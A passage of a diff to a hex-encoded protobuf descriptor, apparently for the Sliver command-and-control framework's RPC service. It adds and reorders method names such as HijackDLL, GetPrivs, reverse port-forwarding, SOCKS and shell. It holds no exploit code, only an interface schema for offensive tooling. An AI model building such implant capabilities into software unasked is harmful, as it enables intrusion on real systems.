- 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e,
- 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65,
- 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
- 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74,
- 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c,
- 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45,
- 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c,
- 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45,
- 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x44, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c,
- 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76,
- 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69,
- 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
- 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x47,
- 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73,
- 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74,
- 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e,
- 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74,
- 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x5c, 0x0a, 0x15, 0x52, 0x65, 0x67, 0x69, 0x73,
- 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e,
- 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69,
- 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f,
- 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
- 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65,
- 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x53, 0x0a, 0x12, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73,
- 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c,
- 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45,
- 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73,
- 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d,
- 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x50, 0x0a, 0x11, 0x45, 0x78,
- 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12,
- 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57,
- 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a,
- 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57,
- 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x4e, 0x0a, 0x12,
- 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61,
- 0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47,
- 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74,
- 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57,
- 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11,
- 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72,
- 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50,
- 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65,
- 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50,
- 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47,
- 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69,
- 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61,
- 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
- 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74,
- 0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
- 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65,
- 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53,
- 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f,
- 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
- 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64,
- 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
- 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72,
- 0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73,
- 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
- 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72,
+ 0x64, 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c, 0x4c, 0x12, 0x16,
+ 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a,
+ 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
+ 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35, 0x0a, 0x08, 0x47,
+ 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
+ 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x12,
+ 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69,
+ 0x76, 0x73, 0x12, 0x57, 0x0a, 0x15, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74,
+ 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x22, 0x2e, 0x73, 0x6c,
+ 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x53,
+ 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a,
+ 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74,
+ 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x53, 0x0a, 0x14, 0x47,
+ 0x65, 0x74, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e,
+ 0x65, 0x72, 0x73, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52,
+ 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73,
+ 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52,
+ 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73,
+ 0x12, 0x55, 0x0a, 0x14, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64,
+ 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x21, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+ 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x6f, 0x70,
+ 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1a, 0x2e, 0x73, 0x6c,
+ 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c,
+ 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x3b, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53,
+ 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
+ 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e,
+ 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73,
+ 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73,
+ 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+ 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63,
+ 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x50, 0x0a,
+ 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69,
+ 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65,
+ 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52,
+ 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65,
+ 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12,
+ 0x44, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e,
+ 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c,
+ 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73,
+ 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65,
+ 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74,
+ 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
+ 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e,
0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
- 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c,
- 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
- 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c,
- 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07,
- 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
- 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e,
- 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64,
- 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12,
- 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73,
- 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b,
- 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12,
- 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73,
- 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74,
- 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12,
- 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73,
- 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
- 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x32, 0x0a,
- 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e,
- 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a,
- 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65,
- 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c,
- 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e,
- 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d,
- 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74,
- 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e,
- 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
- 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30,
- 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f,
- 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63,
- 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42,
- 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69,
- 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70,
- 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70,
- 0x72, 0x6f, 0x74, 0x6f, 0x33,
+ 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x5c,
+ 0x0a, 0x15, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78,
+ 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
+ 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57, 0x61, 0x73, 0x6d, 0x45,
+ 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1f, 0x2e, 0x73, 0x6c,
+ 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x57,
+ 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x53, 0x0a, 0x12,
+ 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f,
+ 0x6e, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69,
+ 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73,
+ 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c,
+ 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e,
+ 0x73, 0x12, 0x50, 0x0a, 0x11, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74,
+ 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
+ 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73,
+ 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
+ 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73,
+ 0x69, 0x6f, 0x6e, 0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f,
+ 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76,
+ 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61,
+ 0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69,
+ 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77,
+ 0x61, 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72,
+ 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+ 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72,
+ 0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+ 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72,
+ 0x64, 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b,
+ 0x73, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53,
+ 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73,
+ 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12,
+ 0x3a, 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18,
+ 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b,
+ 0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+ 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57,
+ 0x47, 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12,
